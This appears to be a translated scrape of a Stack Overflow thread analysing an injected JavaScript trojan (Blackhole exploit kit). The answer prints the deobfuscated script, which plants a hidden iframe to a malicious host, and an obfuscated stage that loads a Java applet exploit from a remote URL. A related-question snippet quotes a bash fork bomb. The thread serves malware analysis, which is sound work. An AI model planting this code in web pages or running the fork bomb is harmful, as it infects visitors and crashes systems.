- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我最近访问了一个网站,该网站在其 HTML 标记中嵌入了一个 JS 木马。 McAfee 名称为 JS/Exploit-Blacole.em,F-Secure 名称为 Trojan:JS/Agent,MS 名称为 Trojan:JS/Quidvetis.A。
现在,出于好奇,我看了一下木马的源代码(仅供引用,我在 pastebin 上发布了一份副本,看这里 http://pastebin.com/PsLaE4d9)。
让我感到奇怪的是 McAfee 网站上的部分(http://home.mcafee.com/virusinfo/virusprofile.aspx?key=1317346#none,单击“病毒特征”选项卡)说明
Also this detection uses the following recent injection techniques in order to make a connection to randomly generated malicious domain.
<!--81a338--><!--/81a338-->
木马本身似乎会在标记中注入(inject) iframe 标记并加载一些恶意页面。
无论如何,我的问题是,这些 XML 注释标签起什么作用? McAfee 文章中提到它们肯定是有原因的?此外,是否有可能以某种方式对 JS 代码进行反混淆并将其转换为人类可读的代码?同样,这只是出于好奇。我只想知道这里发生了什么。
最佳答案
看这里
http://wepawet.iseclab.org/view.php?hash=86b656e6ad9d7331acc01a80bf89c6b5&type=js
http://jsunpack.jeek.org/?report=87803db7e6a4d9d0b6190cd5054beda64e3784dd
这些工具将帮助你分析代码
这是完整的检索和未混淆的代码:
function r09(){
var static = 'ajax';
var controller = 'index.php';
var r = document.createElement('iframe');
r.src = 'http://ecurie80.hostzi.com/Felenne12/clik.php';
r.style.position = 'absolute';
r.style.color = '6675';
r.style.height = '6675px';
r.style.width = '6675px';
r.style.left = '10006675';
r.style.top = '10006675';
if (!document.getElementById('r')){
document.write('<p id=\'r\' class=\'r09\' ></p>');
document.getElementById('r').appendChild(r);
}
}
function SetCookie(cookieName, cookieValue, nDays, path){
var today = new Date();
var expire = new Date();
if (nDays == null || nDays == 0)nDays = 1;
expire.setTime(today.getTime() + 3600000 * 24 * nDays);
document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire.
toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name){
var start = document.cookie.indexOf(name + "=");
var len = start + name.length + 1;
if ((!start) && (name != document.cookie.substring(0, name.length))){
return null;
}
if (start == - 1)return null;
var end = document.cookie.indexOf(";", len);
if (end == - 1)end = document.cookie.length;
return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled){
if (GetCookie('visited_uq') == 55){
}
else {
SetCookie('visited_uq', '55', '1', '/');
r09();
}
}
此代码创建一个 iframe 并将其推出 View
代码每天只使用 cookie 运行一次
http://jsunpack.jeek.org/也是许多安全研究人员(比如 Brian Krebs?)使用的一个很好的工具
Iframe 加载 Java 漏洞并尝试运行它:
var FPLYKJoQG = {
WdBxtaXWsGnJRm: function (PseXOSDnXPAXRRnkHZs) {
var FIZdpsWVSgyPuFKU = document;
FIZdpsWVSgyPuFKU.write(PseXOSDnXPAXRRnkHZs);
},
wWgsxtVAofesbJwDAY: function (xPTKZBm) {
return xPTKZBm.replace(/355/g, '')
}
};
var SuOmy = FPLYKJoQG.wWgsxtVAofesbJwDAY('355Ja355355355355va355355355355355355355355');
var CHHBPE = z.vvv( SuOmy ).split(',');
var BZTlEHUaD = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355j355355355n355355355355355355355355355355355355355355l355p355355355355355355355355355');
var ZNZXaZkfijhQTihemz = FPLYKJoQG.wWgsxtVAofesbJwDAY('355355355355355355355ap355355355355355355355355pl355355355355355355355355355355e355355355355355355t');
if (CHHBPE[1] == 7 && CHHBPE[3] > 9) {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" width="10"><param name="' + BZTlEHUaD + '_href" value="d5xs6x0pt9tk85s.jnlp" /><param name="' + BZTlEHUaD + '_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+" /><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
} else {
FPLYKJoQG.WdBxtaXWsGnJRm('<' + ZNZXaZkfijhQTihemz + ' height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class" archive="/gossip_usually.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeade.com:1024/sequence-backwards.txt?e=21" /></' + ZNZXaZkfijhQTihemz + '>');
}
加载d5xs6x0pt9tk85s.jnlp并执行
<applet height="10" width="10"><param name="jnlp_href" value="d5xs6x0pt9tk85ss.jnlp"><param name="jnlp_embedded" value="PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4NCjxqbmxwIGhyZWY9ImQ1eHM2eDBwdDl0azg1cy5qbmxwIiBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2phdmFmeC5jb20iPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPjN5ZE5NQW1PSmlLYlNxRmJZMEl0THM8L3RpdGxlPg0KICAgIDx2ZW5kb3I+VzRBcGFXZngxUWwwMXRMbmR1TWFacVpzVGxISlBBVHF4anhNTWYxRG41PC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogICA8cmVzb3VyY2VzPg0KICAgICAgICA8ajJzZSBocmVmPSJodHRwOi8vamF2YS5zdW4uY29tL3Byb2R1Y3RzL2F1dG9kbC9qMnNlIiB2ZXJzaW9uPSIxLjcrIiAvPg0KICAgICAgICA8amFyIGhyZWY9Ii9nb3NzaXBfdXN1YWxseS5qYXIiIG1haW49InRydWUiIC8+DQogIDwvcmVzb3VyY2VzPg0KICA8YXBwbGV0LWRlc2MgbWFpbi1jbGFzcz0id2pycWZzdHJ2a3d3dGxnLnFqdXRnbXFodHV5cGZqbG1kc3BkYmouY2xhc3MiIG5hbWU9IjB5dW1wMXB4ejlwb3kwIiBoZWlnaHQ9IjEwIiB3aWR0aD0iMTAiPg0KICAgICA8cGFyYW0gbmFtZT0iX19hcHBsZXRfc3N2X3ZhbGlkYXRlZCIgdmFsdWU9InRydWUiIC8+DQogIDwvYXBwbGV0LWRlc2M+DQo8L2pubHA+"><param name="duFJfXw" value="http://aussteigende.tommeade.coms:1024/sequence-backwards.txt?e=21"></applet>
或者如果这不可能加载 gossip_usually.jar 文件并加载/执行 wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbj.class:
<applet height="10" code="wjrqfstrvkwwtlg.qjutgmqhtuypfjlmdspdbjs.class" archive="/gossip_usuallys.jar" width="10"><param name="duFJfXw" value="http://aussteigende.tommeades.com:1024/sequence-backwards.txt?e=21"></applet>
关于通过 XML 注释标签进行 Javascript 恶意注入(inject)/重定向 (JS/Exploit-Blacole.em),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/18734899/
这个问题在这里已经有了答案: The Bash command :(){ :|:& };: will spawn processes to kernel death. Can you explain
这个恶意 javascript 代码到底在做什么? (function () { var qk = document.createElement('iframe'); qk.src =
我的 JavaScript 代码是否可以在运行时被(恶意)用户编辑,即使它已上传到网络托管站点? 例如,如果我在脚本中声明一个变量,如下所示: var myvalue = 2; 我想知道是否可以编辑为
很难说出这里要问什么。这个问题模棱两可、含糊不清、不完整、过于宽泛或夸夸其谈,无法以目前的形式得到合理的回答。如需帮助澄清此问题以便重新打开,visit the help center . 关闭 9
例子: if($('#' + untrusted_js_code).length) > 0 ....` 通常“untrusted_js_code”应该是表示项目 ID 的简单字符串。变量的值来自
我不确定这是 StackOverflow 还是更多的程序员问题,但这里的其他几个人也提出了类似的问题。 在扫描我的 Google Analytics 帐户时,我注意到一些退出链接标记有查询字符串: ?
我正在开发一个 servlet(在 tomcat 上运行),它接收包含 Java 脚本代码的请求,并使用 java 脚本 API 框架评估/运行代码并将答案返回给用户。 由于我们处理的是用户生成的代码
关闭。这个问题是off-topic .它目前不接受答案。 想改进这个问题吗? Update the question所以它是on-topic用于堆栈溢出。 关闭 9 年前。 Improve this
我是一名优秀的程序员,十分优秀!